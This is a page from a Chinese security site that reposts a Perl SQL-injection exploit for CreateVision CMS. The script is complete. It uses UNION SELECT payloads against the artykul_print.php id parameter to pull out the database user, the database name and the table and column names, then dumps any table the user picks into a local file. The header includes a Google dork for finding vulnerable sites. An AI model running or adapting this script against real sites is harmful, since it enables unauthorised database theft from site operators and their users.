首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
CreateVision CMS Database injection.
来源:vfocus.net 作者:Oskar 发布时间:2012-02-27  
#!/usr/local/bin/perl
#
# Exploit Title: CreateVision CMS Database injection.
# Description: Virtually none of the variables are not filtered.
# Google Dork: inurl:artykul_print.php
# Date: 2012/02/24
# Author : Zwierzchowski Oskar
# Software Link: http://www.createvision.pl/
# Version: All Version
# Security Risk: High
# Tested on: FreeBSD
# Greets: Grzegorz Stachowiak, Damian Blaszczyk, Borislav Kotov.
use strict;
use warnings;
use LWP::Simple;
sub main ()
{
 my %config = (
 'host'  => '',
 'columns' => ',3,4',
 'column' => '',
 'table'  => ''
 );
 my %send  = ();
 getops(\%config);
 getcolumn(\%config, \%send);
 getuser(\%config, \%send);
 getdatabase(\%config, \%send);
 gettables(\%config, \%send);
 otherdata(\%config, \%send);
 return 0;
}
sub getdatabase ($$)
{
 my $config = shift;
 my $send = shift;
 my $data;
 $data = get $config->{host}.$send->{database};
 analizedata($data, 'Database');
 return ($config, $send);
}
sub getuser ($$)
{
 my $config = shift;
 my $send = shift;
 my $data;
 $data = get $config->{host}.$send->{user};
 analizedata($data, 'User');
 return ($config, $send);
}
sub gettables ($$)
{
 my $config = shift;
 my $send = shift;
 my $data;
 $data = get $config->{host}.$send->{column};
 analizedata($data, 'Tables');
}
sub otherdata ($$)
{
 my $config = shift;
 my $send = shift;
 my $data;
 my $table;
 my $column;
 print "[+]\tIf you want to draw some data? (1 or 2)\r\n\r\n";
 print "[1]\tYes\r\n";
 print "[2]\tNo\r\n";
 $data = <STDIN>;
 chomp($data);
 if ($data == 2)
 {
  exit 0;
 }
 else
 {
  print "[+]\tName of the table which you want to download (check the output.txt) :\r\n";
  $table = <STDIN>;
  chomp($table);
  print "[+]\tGet column/s: (ex. column1,column2,column3)\r\n";
  $column = <STDIN>;
  chomp($column);
  $column =~ s/,/,char(58),/g;
  $send->{tables} = '/artykul_print.php?id=103+and+1=2+union+select+1,concat('.$column.')'.$config->{columns}.'+from+'.$table.'--';
  $data = get $config->{host}.$send->{tables};
  analizedata($data, 'MYDATA');
 }
 return 0;
}
sub analizedata ($$)
{
 my $data = shift;
 my $pref = shift;
 my $table;
 my $column;
 my @columns = ('');
 my @tables = ('');
 while ($data =~ /<span class=\"tytul_artykulu\">(.*?)<\/span>/g)
 {
  if ($pref eq 'Tables')
  {
   ($table, $column) = split(/:/, $1);
   save($1, 'output.txt');
   push(@columns, $column);
   if ($table eq $tables[$#tables])
   {
   }
   else
   {
    push(@tables, $table);
   }
  }
  else
  {
   print "[+]\t[".$pref."][".$1."]\r\n";
   save($1, 'output.txt');
  }
 }
 if ($pref eq 'Tables')
 {
  print "[+]\t".$#columns." columns in ".$#tables." tables\r\n";
  print "[+]\tResults has been saved into output.txt\r\n";
 }
 return 0;
}
sub getops ($)
{
 my $config = shift;
 if (!$ARGV[0] || $ARGV[0] !~ /http:\/\//)
 {
  print "[+]\tUsage: perl splo.pl http://host.com\r\n";
  exit 0;
 }
 else
 {
  $config->{host} = $ARGV[0];
 }
 return $config;
}
sub getcolumn ($$)
{
 my $config = shift;
 my $send = shift;
 my $data;
 for (1..20)
 {
  incrcolum($config);
  $send->{user}  = '/artykul_print.php?id=105+and+1=2+union+select+1,user()'.$config->{columns}.'--';
  $send->{database} = '/artykul_print.php?id=105+and+1=2+union+select+1,database()'.$config->{columns}.'--';
  $send->{column}  = '/artykul_print.php?id=105+and+1=2+union+select+1,concat(table_name,char(58),column_name)'.$config->{columns}.'+from+information_schema.columns--';
  $data = get $config->{host}.$send->{user};
  if (index($data, "<span class=\"tytul_artykulu\">") != -1)
  {
   return ($config, $send);
  }
 }
 return $config;
}
sub incrcolum ($)
{
 my $config = shift;
 my @digits  = split(/,/, $config->{columns});
 my $data  = (($digits[$#digits])+1);
 $config->{columns} =~ s/$config->{columns}/$config->{columns},$data/g;
 return $config;
}
sub save ($$)
{
 my $data = shift;
 my $file = shift;
 open(FILE, ">>".$file."");
 print FILE "".$data."\r\n";
 close FILE;
 return 0;
}
main();
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Tiny HTTP Server <=v1.1.9 Remo
·cPassMan v1.82 Remote Command
·Sun Java Web Start Plugin Comm
·HP Data Protector 6.1 EXEC_CMD
·The Uploader 2.0.4 (Eng/Ita) R
·Orbit Downloader URL Unicode C
·Windows Live Writer ActiveX Do
·TrendMicro Control Manger <= v
·Mozilla Firefox Firefox 4.0.1
·Mercurycom MR804 Router Denial
·Socusoft Photo 2 Video v8.05 -
·DAMN Hash Calculator v1.5.1 Lo
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved